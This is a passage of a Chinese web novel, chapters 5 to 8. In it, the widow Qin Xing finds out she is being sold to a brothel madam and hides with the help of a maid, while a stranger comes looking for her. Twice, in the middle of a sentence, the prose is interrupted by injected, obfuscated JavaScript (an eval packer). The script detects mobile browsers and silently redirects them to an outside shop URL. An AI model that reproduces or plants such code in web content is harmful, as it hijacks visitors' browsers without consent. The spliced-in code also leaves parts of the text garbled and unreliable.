每日只睡那么一小会儿,饭吃得不多,心里还要时时刻刻担惊受怕,秦杏的身体和精神头比刚亡夫那会儿还要差。 只听说能发月钱,整个人状态才稍稍好上那么一两分。 紫苏将一切看在眼里,虽表面嫌秦杏吵嚷,心里却只盼着能让她更高兴一点儿,早些把心落到实处。 于是眼看要排到了,紫苏闪身跟她换了个位置,让秦杏站在前面先领。 秦杏本还在心里准备着,突然被推到前面,立刻有些慌张地抓紧了拳头。 不过在账房不耐地抬起头来之前,她还是学着前面人的样,口齿清晰地报出了自己的名字。 楼里的账房是位老先生,他身前的桌上摆着一本花名册,上面写了楼里这些人的名字,以及应发的月钱数。 他翻动几页找到了秦杏的名字,看了她一眼后开始与她对出工的时间,“你是上月月底来的,做了八天活儿,工钱应得一百六十文。” 旁边还有一名小厮负责从箱子里拿钱,只见他取了一串一百文的,又单数了六十文出来,一齐放在桌上。 秦杏在领取处按上了指印,便可以去旁边点钱了。 这也是一道必要的流程,要是离了这儿再发现钱的数量有误,可没人会补钱给你。 秦杏把自己那一百六十文钱点了两遍,紫苏的月钱也领完了。 同样是当场点清,紫苏点完后,摸出一个绣着兰花的钱袋,把六百文钱尽数妥帖的收好,秦杏却只把一百文整的放到怀里,剩下的在手里攥得紧紧的。 两人结伴一道儿回房。 紫苏玩笑道:“这下踏实了吧?” 秦杏点点头,“踏实了一半。” 紫苏闻言叹了口气,刚领到月钱的喜悦都散去了不少。 两人绕过一个立柱,面前突然出现了几个人。 看清领头那人后,紫苏和秦杏动作如出一辙地行礼问好。 这不是旁人,正是那日秦三娘介绍给秦杏的‘丁管事’。 秦杏在这里待了几天,已经知道了这位‘丁管事’其实是楼里的老鸨。 “不用多礼。” 平素只对贵客展露出好脸色的老鸨此刻竟和颜悦色地看着她们。 秦杏来这的时间不长,但也基本清楚了老鸨的脾性。 一时之间,因为她这份反常而头皮发麻,冷汗涔涔,将全身上下连根头发丝都戒备了起来。 可俗话说得好,是祸躲不过。 在秦杏快要汗湿后背衣裳的时候,老鸨慢悠悠地开了口。 “日子过得真快,晃眼就到了月初。”她有些感怀地说完,把话头和视线都落在秦杏身上,“你在楼里也待了些日子了吧?” “回妈妈,今日是第九日。”秦杏把头埋得愈发低下去一点。 老鸨徐徐一笑。 她年轻时也是姿容绝世,现在年纪上来了,有些时候仍可从细微处窥见几分年轻时候的貌美。 紫苏头没埋得秦杏那样低,眼角余光一直观察着老鸨,见秦杏落入对方眼中,心中哀哀一叹,很有几分不详的推测。 5. 第5章 “在楼里可受过什么委屈?” 话音入耳,秦杏尚不懂老鸨为什么这么问。下一秒,就被上前一步的老鸨抬起了下颌。 “瞧瞧你的脸,瘦了,也没了初来时的白净。” 老鸨如同关切般说出的两句话,落在紫苏和秦杏耳中不亚于一声惊雷。 哪怕后来回到了住所,两人的心都还怦怦跳着,久久无法恢复如常。 秦杏腿脚发软,不想被同住一屋的其他人看出端倪,进了屋就坐在了自己床边。 在等待双腿恢复如常的这段时间里,秦杏下了离开宜春楼的决心。 一连多日都未曾等到秦三娘,秦杏内心不是没有生出过或许对方不会再来了的想法。 日复一日拖着,不过是最近风平浪静下滋生出的侥幸、是不敢迈出独立的那一步罢了。 前几日虽然心里提心吊胆,却并未受到老鸨敲打,所以还能抱着一丝希望等着。 如今,她不确定老鸨有没有发现自己在脸上做的伪装。 紫苏待她那样好,如果她脸上的端倪被老鸨察觉出来,可能会连带紫苏都有危险。 领完月钱回房的人渐渐多了起来,秦杏拉着紫苏出房间,到了一个无人处。 那瓶用于伪装的面脂是紫苏给的,秦杏从刚发的月钱里数了些钱出来给紫苏,当做自己买下了那瓶面脂。 不是穷苦人家的女娃儿,不会到宜春楼来做活儿。 秦杏把钱递出去,紫苏犹豫了一会儿,到底还是伸手接了去。 只不过她入手后第一件事便是伸出指头去数了数那些铜币,然后拨出几个来还给秦杏,“多了。” 秦杏感谢紫苏的照顾,早有心思另选个什么给她做谢礼,因此没在这几个铜钱上推来让去。 把这桩事了却后,秦杏低声问起辞工的事儿。 她第一次出来做工,宜春楼规矩又大,她起了辞工的念头,却不清楚辞工该找谁说。 “你……哎!”紫苏欲言又止,最后只余一声长叹。 经过几日相处,紫苏对秦杏的来历也算是清楚了,本想问她离了这儿怎么活。 不过,罢了罢了,以她这幅容貌,出去做什么也比待这儿强。 “辞工的事,你去跟春红说。” 春红,是老鸨多年前买来培养的一个丫鬟,识文断字。除去贴身伺候老鸨,还帮忙处理一些楼里的琐事。 杂役们和龟公们若有谁不想干了的,都是去跟春红说一声,再由春红禀报老鸨。 “要提前三日说,楼里好安排着招工替代。” “三日后,你便收拾好自己的细软,去账房那儿支取剩下的所有工钱。” “当然,临走前,你的随身包袱会有人翻检一遍,怕你卷走了楼里贵重的东西。” 秦杏担心过这楼里是不是有进无出,这么听起来倒是个有正经章程的。 不过有章程也好,无章程也罢,总之她是一刻也不想在此地多待了,便决定趁着没到上工的时候,赶紧去找春红。 却是不巧,去前堂问了许多人,最后才知春红片刻前跟着老鸨出门了,不知去办何事,也不知何时能归。 秦杏心里装不了事。 一旦惦记着什么事要去办,她能一整日心神不宁,直至事情办好。 下晌她照常跟着环佩去伺候清香姑娘,上楼时,突然听见前堂传来了些动静,好似有人说到‘老鸨’二字,她便扭头去看。 因着这短暂的分神,一时不慎,脚尖踩着了自己的裙角,竟从二楼直接摔落了下来。 手上端的铜盆也摔了,一盆子水全部泼洒了出去,摔出好大一阵动静。 比起难堪,更严重的是手臂、膝盖上的几处磕碰伤。 那会儿正是前堂人多的时候,许多杂役都在。 有人看热闹,也有心肠好点或是跟秦杏相熟一点的上前去扶她。 两个人馋着她胳膊她都没能站起来——右腿膝盖撞着了一处尖角,只要稍一用力便一阵钻心的疼。 待回了房里检查了一遍,发现整个膝盖骨磕红一片,都不知有没有伤着骨头。 紫苏和环佩都叫她今日别做事了,替她请一日假。 看秦杏疼得双眼噙满泪水,膝盖连一动都不能动的样子,环佩简直束手无策。 宜春楼的规矩:杂役们不得私自外出。秦杏现在痛成这样自己也去不了医馆。 环佩敲了敲脑袋在屋里踱步两圈后道:“我去托龟公,让他们去街上给你请个大夫过来?” “你还忍得住吗?”紫苏蹲在床边仰头问秦杏。 倒不是她不关心秦杏,只是请大夫上门问诊一趟再加开药,想来都要花不少银子。 秦杏道:“我忍得住。” 膝盖皮薄,腿一弯一动又都要用着膝盖。 刚刚从前堂挪过来实在是痛得厉害,坐着维持不动又稍微好点了。 渐渐地,秦杏把即将夺眶的泪水憋回去一点,想起了伺候清香的差事,忙回头跟环佩说不用管自己,去忙差事要紧。 差事确实耽误不得,环佩看了一眼她,跺跺脚出门去了。 紫苏再三确认她没事,也出门去了。 她去了前堂,帮着打扫收拾地上的残水。 刚刚那么大一盆水洒下来,地上湿了一大片。 这是意外多出来的活儿,旁人做起来难免会有怨言,万一哪处留了水渍被管事们看到了,或是晚些时候让贵人踩着水摔倒了,‘罪魁祸首’秦杏都免不了受一顿罚。 给大家添了这些麻烦,秦杏懊恼不已。 虽说今日是不用做活了,但心里真不是个滋味。 在房里待了会儿,身上的疼痛减轻了许多。 离入夜还有一会儿功夫,杂役们都已经往前堂去了。 秦杏只觉得屋子这一块儿静悄悄的,有些骇人。 恰好有些口渴,屋中无水,她瘸着腿,一手扶墙,一手提着房里的粗陶水壶走出屋子。 杂役们的住所稍偏,要穿过回廊和庭院,去到伙房旁边的耳房里才能打到饮用的水。 她缓慢走着,有时步子大点扯到膝盖处的皮肉还是会疼,她只能走走歇歇。 好在不必当差,有足够的时间容她慢慢走。 穿过回廊,她没有急着走过院子,而是抬首观察着伙房方向。 她素来不喜欢给人添乱,之所以站在这儿先张望一番,想 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果然,方才还立在门前的秦三娘已不见了踪影。 刚刚急着追人,秦杏没有仔细看路,此刻一打量,发现秦三娘进的那间屋子正是初来宜春楼时,秦三娘和老鸨交谈的那一处。 为什么秦三娘要小心翼翼的走进这间屋子?为什么秦三娘没有第一个来找自己? 秦杏眉头紧紧皱在一起,也实在想不通。 此刻,四下正无人…… 怀揣着疑惑,她捂着一颗狂跳到失控的心,踮着脚,一点一点地挪移过去,将耳朵贴近到了那间屋子的窗上。 …… 这边秦三娘进了屋便放下了心来,端起了一副笑脸。 今儿个打迈进这宜春楼啊,她就心紧得慌,真个儿害怕没见着老鸨,先遇上秦杏。 如今一路顺顺利利的,可算把心放入了肚子里。 宜春楼的这间屋子她也常来,春红替她开了门,无需指引,她嘴上寒暄着,熟悉地在老鸨下首落了座。 没错,这屋中现在只有三人,老鸨就在这屋中。 秦三娘今日是提前递了话,特意找来的。 两方都彼此熟悉,没虚模假样地多话。 端起茶放到嘴边略微润了润唇,秦三娘就有些按捺不住地切入主题。 “……上次那个价,您考虑得如何?”她近乎谄笑着问。 老鸨摸了摸手上的戒子,很是漫不经心地回了一句:“值不上这个价。” 秦三娘本是信心满满来的,闻言敛了半分笑。 “您真是说笑……那模样,那身段,放哪儿不能当花魁?您花这个数,”秦三娘竖起三根指头,“哪里不值?” 老鸨也不摸戒子了,抬头露出一个讥讽地笑,“你当她是什么?” “又当我是什么?” “漫天要价……” 秦三娘心里悚然一惊。 “你当我好诓骗?”老鸨慢悠悠地吹了吹茶。 茶雾缓缓上扬,秦三娘冒出了一身冷汗。 6. 第6章 自己所隐瞒的,她都知道了! 秦三娘除了惊吓,心里还滋生出了许多烦郁。 那日出发来这宜春楼前,秦三娘就劝说秦杏别梳妇人发髻、别告诉旁人她如今正在守寡。 秦杏问为什么要隐瞒,秦三娘说若坦诚告知刚刚丧夫,恐别人觉得不吉利。 当时秦杏老老实实应了,于是,她面对这老鸨时自然而然隐瞒了秦杏嫁过人这一点,想将秦杏卖出个高价。 正所谓富贵险中求,秦杏模样生得好,不仅没生育过,连身段看着也跟姑娘家毫无区别。 秦三娘一心想从这老虔婆手里多抠点钱出来,没想到精心算计过的谎言竟然漏了馅。 到底还是拖太长时间了。 就不该一时贪心!当日就该降些价,利落地哄得秦杏把那卖身契签了! 可惜了了,如今谎言被识破,说什么都太晚。 秦三娘心思百转千回,面上却做出一副震惊的模样:“您的意思是,秦杏的来历有问题?!” 她掩住嘴惊叹了一句,旋即狠狠一拍大腿。 “好你个秦杏!说谎话骗了我,又害得我误导了您!” 她把膝盖凑近老鸨,整个人的上半身也都往老鸨那儿靠过去,“您有所不知,这秦杏虽是我娘家那边的,但我已出嫁多年了,这……哎呦!都怪我心软!那日看她投湖我想着救人一命胜造七级浮屠,便涉水冒险将她救起来了,谁知她是这样一副底细?为了安身立命,竟然恩将仇报诓骗我!” 她三两句话把自己说成了蒙在鼓里的人。 都是人精,老鸨只冷笑,不接话茬。 秦三娘坐立难安,心道老鸨既然打听清楚秦杏的底细了,价钱必然是谈不高了。她撒了这个慌,连往后再来这做‘买卖’怕是也不如从前容易。 她心气泄了一半,还不得不赔着笑脸。 为了不失去宜春楼这条路子,她咬咬牙根,报出了一个极叫她肉痛的价。 屋内的人还在谈论着什么,屋外的秦杏早已浑身一软,跌坐到了地上。 她浑身发凉,骨头缝里都冒着寒气。 那日秦三娘救她出水后劝她活下去的话语还言犹在耳。 原来,全部都是一场算计? 她后背贴着门,隐隐听到里边传来了两声愉悦的轻笑。 笑什么? 谈好她的卖身价了吗? 秦杏腿脚在打颤,但不知从哪儿冒出了力气,硬是撑着地面哆嗦着站了起来。 离开这儿,必须离开这儿。 可是怎么离开呢? 楼里只有两个进出的门。 一个是前堂的大门,一个是她那日跟着秦三娘迈入这里的后门。 两张门都时刻有龟公把守,一天十二个时辰,从不离人。 她强迫自己冷静下来想了想,发现两张门都不是能够轻易出去的。 既然如此,那为今之计只有躲了。 此刻楼中还未点灯,来来往往的无非是那些杂役们,想要躲避别人并不难。 但是因为楼中没有客人,老鸨一旦让人唤她也会很轻易发现她不见,到那时,所有杂役和龟公们一块儿找,将她找出也很容易。 藏在哪儿呢? 哪处是安全的? 秦杏犹如惊弓之鸟,走出去一步,稍听到前后方有些动静就要找个地方躲避。 心惊胆颤地走到前堂和后院连接处,就听前后双方都传来脚步声。 “我听说明日你也告假了?刚好今日领了月钱,咱们明天同去街上逛逛呗!我想去铺子里买几朵江南那边新运来的时兴绢花,再去同顺堂买一瓶百花头油。”一名女孩兴致勃勃地同身边人商量道。 “啊……”另一个女孩子明显十分犹豫,“我爹病了,我娘这些日子也总是腿疼。好不容易回家,我怕是、怕是不得空去街上。” 第一个说话的女孩子不忿地‘啧’了一声,紧接着便开始数落起来:“你怎么这么笨!好不容易能歇息一天,你就不会躲躲懒吗?你家里兄妹五六人呢!谁不能帮你爹娘分担家务活儿?非得可着你一人使,又上交月钱又出力是吧?” “杜、杜鹃……”被数落的女孩讷讷不敢反驳。 她是家中老大,弟弟妹妹都还小呢,好多粗活重活儿都干不动,她大几岁,家务活从小就干惯了的。 秦杏躲在拐角一道小门的门后,听着二人的声音渐渐远去,仍躲着一动不敢动,因为一波未平一波又起,后边的人靠近了。 “……昨日在赌坊,真特么晦气!那个总出老千的王八犊子差一点就叫老子抓着了!就差一点!” “下回去,老子定要当场抓住他,剁下他一只蹄子!” 先头是两个杂役,这回是两个龟公。 一路骂骂咧咧,声音亮如洪钟。 秦杏细细等着所有脚步声远去,才机警地从门后探出脑袋快速查看一番。 未瞥见异样,方继续往后院走。 宜春楼很大。 来这儿的第一天秦杏就有此感慨。 可当她需要一处绝对隐蔽的藏身之处时,突然又觉得宜春楼很小。 不知不觉,她的脚步往杂役们住宿的那排房屋靠拢过去。 这可以说是无意,也可以说是有心。 直觉告诉她,秦三娘和老鸨谈好价,肯定会很快派人来把她传唤过去,或哄骗、或威逼着她签卖身契。 她只要被唤过去了,铁定没好果子吃。 她是想找个地方躲着,但之前出房门是为了打水,此刻水壶都还在她手上。 秦杏认为,从杂役住所到伙房,距离很近,去传唤她的人发现房里的水壶不见了,想必会直接去伙房寻找她。 如果在水壶消失的情况下,找她的人在伙房寻不到她踪影,肯定会立刻跟老鸨禀报。 届时,凭老鸨那毒辣的眼光,或许会立刻猜出她发现了些什么,故意躲起来了。 不能这样,这样拖延不了多少时间。 水壶必须放回房间去。 她的床头炕上,包括屋子里的东西一样都不少,别人来寻,才不大好猜她究竟去了哪儿。 可能是茅房,可能是盥洗室,也可能是前堂或者任意角落。 他们一处处找下来,四处耽误时间,更利于她躲藏。 有了成算,路上又没看到别人,秦杏步履匆匆回了自己住的那间屋子。 搁置好水壶,她拉开门想要火速离开。 不过好运似乎结束了,一路没遇着人的秦杏在推开门的刹那和人正面相撞。 心几乎跳出嗓子眼,瞳孔在瞬间放大到极致。 只见对面的人眯着眼打量了她一下,冷声问:“你去哪儿?” 是环佩。 听她的语气,难道…… 秦杏额角沁出一滴冷汗,像即将被凌迟一般,无力地退后了一步。 她让出了一条窄窄的缝,环佩毫不客气地从中挤入屋子。 叉腰看了一圈后,环佩回过头看着她质问道:“脸都白着,你不会还想去上工吧?” 看似严肃实则关心的话语,让秦杏明白了当前的状况。 虚惊一场,她有些脱力。扶着门边堪堪站稳,平了平气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485502|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,尽量不露端倪地答话:“没有的事。”她只巴不得立刻离开。 环佩又问了两句膝盖还有没有之前那般痛,然后献宝一样伸手,亮出了手里一个精致的小瓷盒儿。 “喏,听说你摔伤了,姑娘特意叫我拿来给你的。” 环佩口中的姑娘,必是清香无疑。 小小一只盒子被环佩塞入秦杏手中,触感冰凉凉的。 环佩继续道:“是上好的化瘀药膏,涂的时候揉一揉,用个几次便好全乎了。” 哪怕几乎身临绝境,秦杏仍从其中感受到了一丝暖意。 “这一盒……要不少钱吧?” “那当然!”环佩回得毫不犹豫:“一两银子一盒。” 秦杏苦涩一笑,“替我谢谢清香姑娘。” 卖身契她是死也不会签的。 如果早知道秦三娘给她找的是这么一条活路,当初她说什么也会挣扎着溺进渭水河里。 不过多存活的这几日,她从紫苏、环佩、清香三人身上都感受到了暖意。 只可惜,这是一处吃人不吐骨头的地方,她大抵很快要走上绝路了。 若有下辈子,她愿意还与她们结识,做一辈子的姐妹。 这些话她只在心里暗暗地想,不曾宣之于口。 环佩与人说话时喜欢看着人的眼睛。 这么一会儿,已经觉察出秦杏走神数次了,偶尔眼中还划过几丝悲伤的情绪。 这副表情太不寻常。 定定地看了她几秒,环佩收回视线,像什么也没发现一般。 “我走了,你记得涂药。” 秦杏点点头,“一定记得替我向清香姑娘道谢,环佩……拜托你了。” 把门从里关上,秦杏后背贴着房门静静等待了一会儿。 听着脚步声远去,过了几息再度打开,屋外已没有了环佩的影子,更没其他人通过。 秦杏把药膏收进怀里,缓缓吐出一口气,掩上了房门。 就在刚才那片刻功夫,她冷静地把整座宜春楼中她去过的所有地方全都想了一遍,适合藏身的地方,着实寥寥无几。 经过绞尽脑汁一个个地排除,觉得藏哪儿都迟早被找到,唯有趁机逃出去,才是真的安全。 这样一说又绕回了原点:逃出去比找个暂时藏身的地方更难。 身后似有鬼在追,秦杏提着裙角,落地无声地走到了后院一个荒芜的厢房门前。 这里很僻静破败,平时也没什么人经过,是整座楼里难得的一处没被精心打理过的地方。 若不是她日日都要早起挑僻静无人处往脸上涂抹面脂掩盖肤色,还真找不着这么个地方。 越过两团不大的荒草来到厢房门前,正要推门而入,一道平静冷淡地声音打断了她的动作。 “杏儿,你进这里做什么?” 秦杏惊恐地回头。 这一回出声的,仍是环佩。 方才发觉秦杏有些不对后,环佩佯装离开,实则躲在了暗处。 果然,她离开不久,秦杏就出门了。 被撞破,秦杏真不知该如何做声为好了。 没等憋出个蹩脚的解释,就见环佩缓缓靠近,在两人距离不足两尺时,环佩竖起一根食指在唇边示意她别出声,然后拉住了她的手腕。 一通七拐八绕后,秦杏被环佩带到了盥洗室屋后。 打量过四下无人,环佩极为冷静地开口:“是不是老鸨要你卖身?” 看秦杏的表情,环佩就知自己猜得不错。 “你可知,刚刚你想躲进去的那间屋子是做什么的?” 7. 第7章 冷汗浸湿了秦杏的额发,她如同软脚虾一般瘫软了下来,就地蹲坐在环佩脚边。 本来她的心头攒着一股劲儿,这股劲儿驱使着她马不停蹄地去寻找出口。 此时此刻环佩一语道破她的困境,让秦杏佩服、震惊的同时,又因能有一个人分享自己的处境而感到放松,心头那股独木难支的紧迫感如乌云似的朽散开了。 “不是老鸨叫我卖身,是有人要把我卖给老鸨。” 秦杏心头有诸多悔恨。 她几乎是涕泗横流地把自己从丧夫至遇到秦三娘的经过都说出了。 宜春楼里的姑娘,哪个不是各有各的苦? 环佩在楼里待的日子长,早把一切都摸透了。 “我送药时就觉得你不对劲,还好跟了你一段路。要是你刚才进了那屋,可跟自寻死路无差别。” 这样一个外头光鲜亮丽的销金窟,怎么会明晃晃的留出一间破败荒芜的屋子? “有些被家里诓骗着送来,但并不认命的姑娘,绞尽脑汁的想过逃跑。走门出不去,就想着藏起来。你猜猜,这些年有多少傻姑娘和你一样选中了那间屋子?” 秦杏这才知道,原来那处地方,竟是老鸨特意留出来的破绽,而没有环佩点破这一切,她一定会傻傻的被人逮住,然后…… “我知道一处地方,能让你藏得久一些。” “信得过我的话,跟我来。” 眼泪如同水雾,蒙住了秦杏的双眼。 她看不清环佩的神色,但听到这些话时,犹豫着,没有立刻下决定。 上次投身渭水河时,生死关头将自己拉上岸的人也别有所图。 这次身陷囹圄,环佩救自己完全是发自本心的吗?背后真的没有其他目的吗? 但这种犹豫只存在了片刻。 如果环佩和老鸨是一条线上的,那么自己此刻不跟去也无用,她只需大喊一声,立刻会有很多人聚集过来,自己必然插翅难逃。 秦杏点头同意后,环佩替她擦了擦泪,拍掉身上的灰,脸上也重新涂上一些面脂,掩盖泪痕。 天色愈发暗了下来,距离开门迎客不足半个时辰了。 几乎是两人从盥洗室后面走出来的同时,春红带着人到了秦杏住的那间屋子门前。 离开前,秦杏将房门仔细合拢了。 春红使杂役上前敲门,等了会子没人应,脸色一变,自己上前,将门一把推开。 屋内光线昏暗,但不妨碍人一眼看出里头空无一人。 “人呢?!”她转过头,厉声朝两名带路的杂役喝问。 在宜春楼这两年并不是白待的,通往前堂这段路,环佩没走寻常的几条大道,而是东走一截,西绕一段,短短一段路,生生绕出了花儿来。 但也很顺利的没有遇到一个人。 “你运气真不错。” 从前堂上到二楼后,环佩轻声对秦杏说。 宜春楼的生意要做到后半夜,杂役们一天两顿饭食,夕食开饭的时间,就在楼里开门营业的前半个时辰,也就是她们穿过前堂的此刻。 多亏了大部分人赶去饭堂吃饭了,不然想要躲避所有人的视线穿过前堂,基本毫无可能。 两人悄摸悄地,到了二楼廊道尽头一间上了锁的杂房。 秦杏如影子一般静默无声地跟在环佩身后,只见环佩从花盆底下摸出一把钥匙,插入锁眼中,轻轻拧动,铜锁‘哒’地一声解开了。 接着,两人闪身进房,环佩合拢房门。 “我长话短说。” “每年六月初六,宜春楼都会选取出一名新的花魁,并借此举办一场游湖会。这间房里堆得都是花船游湖时的物件,平时用不上,往日房门上锁,鲜少有人来盘点。” “你待这儿躲过半个时辰应该不难,一旦入夜后有客人上门,楼里不会再大张旗鼓搜查……太远的事儿我也不好保证,你先好好藏着吧。” 环佩出去后,重新把门上了锁。 屋外只余点点天光通过窗户透进来,秦杏目光扫过屋子中几个置物架,桌椅、摆件等物,最终选择了一处半开的屏风,蜷缩着身体躲在其后。 这厢,环佩从杂物间退出去后,神色如常地走到了清香的房门口。 “姑娘,是我。” 她轻轻扣门,耐心地等待。 直到里边的清香说了句‘快进来’,才把门推开。 冷静沉着的模样,任谁也看不出半分异常。 然而合上门扉后,环佩如同瞬间变了个人。 她快步穿过屏风,来到了清香所在的黄花梨束腰四仙桌旁。 “姑娘,您真是神机妙算,老鸨果然准备让杏儿签下卖身契。” 害怕隔墙有耳,她声音压得极低,微微俯身,几乎贴在清香的耳边,用禀告的口吻,复述了一遍刚才所发生的事情。 听她讲明白前因后果,清香唇角徐徐扬起,绽放出一个不太明显的笑容。 十年前,清香还是个待字闺中的女孩儿,她父亲是江南一带有名有号的富商,她从小被父亲千娇百宠着长大。 她常常想,如果家里没有出事,她会依父亲的安排顺利嫁入官宦人家,不管为妻还是做妾,后半辈子总应当是平安且大部分顺遂的。 偏偏家里出事,家产一夜散尽,她也兜兜转转……沦落风尘。 入宜春楼八年,她争抢过,红眼过,近些年切身体会到了花无百日红这个道理,于是渐渐放弃在男人堆里钻营,转而在心里为日后做起了打算。 奈何身体困于这四方天地,何处都去不成,只能从楼里开始拉拢人心罢了。 她是这样打算的,要么多攒些家底离了这楼出去自立门户,要么熬一熬资历等待时机,干脆以后接手这宜春楼。 环佩是她培养的眼线,秦杏来宜春楼的第一日环佩就注意到并禀报给她了。 她让环佩想办法把秦杏带上来给她过过眼,环佩依言照做。 那日她从梳妆镜中看见秦杏的容貌,立时就决定压这一份宝了。 ——凭秦杏的长相,一定是会长留在楼中的,提早拉拢,绝对有利无害。 于是除去当日赏银镯,这些天她更是有意亲近秦杏,在她看不到的地方,也让环佩对她多加照顾。 果然,还不足半月,老鸨就按捺不住,想要让秦杏签下卖身契了。 二楼尽头的杂物间保得了秦杏一时,藏不了她一世。 助秦杏离开这儿的法子,清香自然没有。 她只不过计划着在秦杏挣扎的过程中稍施援手,以此让她多念些恩情罢了。 …… 清香在环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485503|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩的伺候下梳妆完毕。 楼下恩客渐渐上门,气氛早已蜩沸。 有杂役走到门前细声来请,说是城南郑家二公子请她下楼一叙。 指尖拂过鬓边簪着的那朵娇艳海棠,清香捻着手帕,袅袅娜娜地缓步下楼去了。 胡琴声,歌舞声,声声不绝。 清香跟着杂役的步子,走到前堂左侧的一处雅座。 这一桌坐了三名男子,两人怀中已有佳人。 清香来迟,柔柔笑着赔罪,端起酒便要自罚一杯。 郑家公子与她是旧相识,劈手夺去她的酒杯,一饮而尽。 “呦——郑兄,这替佳人赔罪,一杯可不够!” 另一同桌男子更是直接上手斟酒,给他重新满上,起哄道:“三杯、三杯!” 酒过三巡,桌上两人各自离席,郑家公子却在她脸上亲香了两口后,摇摇摆摆站起身,直道要归家。 “我爹叫我在祖宗牌位前、前发誓,今年一定考取功名。近段日子,我都不好歇在外头了。” 甭管这理由是真是假,对方都把前程拿出来做理由说了,清香还能说什么呢? 自然是大大方方体谅他的不易,依依惜别地送他至门口。 龟公早通知了郑家公子身边的小厮,小厮又喊来了车夫。 就这么地,清香目送郑公子上了马车,收敛了大部分笑意,转身欲要上楼,却忽地一顿。 “你们楼里近些日子有没有新来一位姓秦的姑娘?”是一道年轻有力的男声。 ‘秦’这个姓氏,瞬间引起了清香的注意力,毕竟她不久前才听环佩讲过秦杏出身来历。 她不声不响地用余光打量问这话的人,但很快发现以她所站的角度,眼角余光只能看到对方胸口处,根本看不到对方容貌。 不得已下,她变换了个角度,掀起眼皮拿正眼去看对方。 这是个身高七尺有余的男子,看清对方的那一刻她怔住了。 心头只余一个想法——这人肤色好黑啊。 再打量,发现他浑身上下风尘仆仆的,连眼睛都透着一股很重的疲惫。 这股疲态,足足让他的年龄显得大了三岁不止。 清香没有就此移开视线,反而是更加从容不迫、带着些好奇地细细打量了下去。 很快,她观察出这男子身上的衣服布料是细布,脚上穿的是马靴。 他的身形气魄让人一看便知不是习文那一路的,但指头干净,指甲修剪整齐,甲缝里也没有泥垢,倒也不像是种地的庄稼汉子。 最后回到他的容貌,忽略那让她一眼就有些意外的肤色,细细观摩他的五官后,就会发现他其实天庭饱满,鼻梁高挺,地阁也方圆。 是一副有正气、有福气还有七八分俊朗的长相。 他询问的是一名龟公。 与清香一样,这名龟公同样将人打量了一遍,见他既不似那太过穷苦的人,还生得一副孔武有力不太好招惹的骨架,便收敛住轻视,客客气气地回了他的话。 “客官,您或可去别去处问问,咱楼里并没有姓秦的姑娘。” 青年皱了皱眉,用锐利的目光在前堂女子们脸上一一扫过,但没有看到记忆中的容貌。 又有龟公谄笑着挡在身前,一时竟有些进退两难,顿在原地。 8. 第8章 清香眸光闪动,在看到眼前的男子似乎准备离去时,言笑晏晏地从暗处走了出来。 “公子仪表堂堂,何不入内浅酌几杯?” “奴家看您似是找人,若您找的是位姑娘,那您今日可算是来对地方了。” 阎非早察觉到了清香的视线。 不过楼里人鱼混杂,多得是寻欢作乐的人,他一个不修边幅的混在其中自是异类,周围投射来的目光岂止一二? 因此,他在看过清香不是自己要找的人后,就没对清香太过注意。 活至二十岁,阎非从不去秦楼楚馆找消遣,听到清香的话,不由心中一松,上前一步,然而……反应了半拍,又意会了其中深意。 “某寻人是有急事,姑娘切勿玩笑。”一路奔波颇累又遭人戏弄,阎非心中微愠,却并不想当众为难一女子。 清香低眉顺眼道,“官人莫怪,是奴家会错意了。” “不如奴家请官人喝一杯,以做赔罪?” “不必了。” 人都没找到,阎非哪里有空闲在这多做纠缠? 他大步流星走出门去,半只脚都踏在街道的青石板砖上了,却听身后随风送来了一道声音,是刚才那女子。 “奴家名唤清香,公子若是再来宜春楼,清香愿意作陪——” 这句话匆匆入耳,又如云烟般消散无痕。 郸州城繁华,城里各种铺子林立,大大小小点的花楼有好几家,藏匿在各处巷子里的暗窑更是数不胜数。 阎非一家家找过去,很快发觉了不对。 他出了宜春楼后去了群芳院。 这里的人一听他说找人,近乎是迫不及待地把他迎了入门。 他话没说出两句,已被带着到厅堂内坐下,好酒好菜也紧跟着上了一桌。 他几番想追问细节,对方却找借口连连搪塞。 没多久,他察觉不对想要抽身,但已经晚了,生生被人讹了一笔酒菜钱。 后来去的几家,只要听他说起找人,无一不欢天喜地想把他诓骗着留下的。 他虽然没再上当,但回过神来想想,只宜春楼那边的反应不一般。 于是,他跨越半城,又沿街折返了回去。 夜色已深,前堂内的客人散了大半。 阎非重新登门,前来招呼的龟公还是之前那个。 他谄笑着迎上来,“客官,您……” 阎非不语,只轻轻抬手,抛了一块碎银出去。 龟公措手不及地接住,神色有些愕然。 “我来找清香姑娘,劳驾替我通传一声。” “哦……成、成。”黄李点头哈腰地把阎非引着入座,又叫人斟茶水,自己则飞快跑着上了二楼。 楼里前些日子来了个杂役,底子不错,就是脸色黄了点,人瘦了点。 黄李在花楼里混迹了十余年,眼光毒辣得很,知晓老鸨少不得将这根好苗子留下,今日听说春红带人找去她的住所了,毫不惊讶。 可没多久,听说那杂役不见了踪影,想来是躲在了什么地方。 他们这些龟公受命一通好找,至今还没寻到。 黄李清楚那杂役姓秦名杏,听阎非上门找人,自然撒谎说楼里没有这号人,且怕秦杏不知从哪儿冒出来,巴不得哄着这人赶紧离开。 可眼下不同,这人在外转了一趟,回来点名要找楼里挂牌子接客的姑娘,让人全然没法子拒绝。 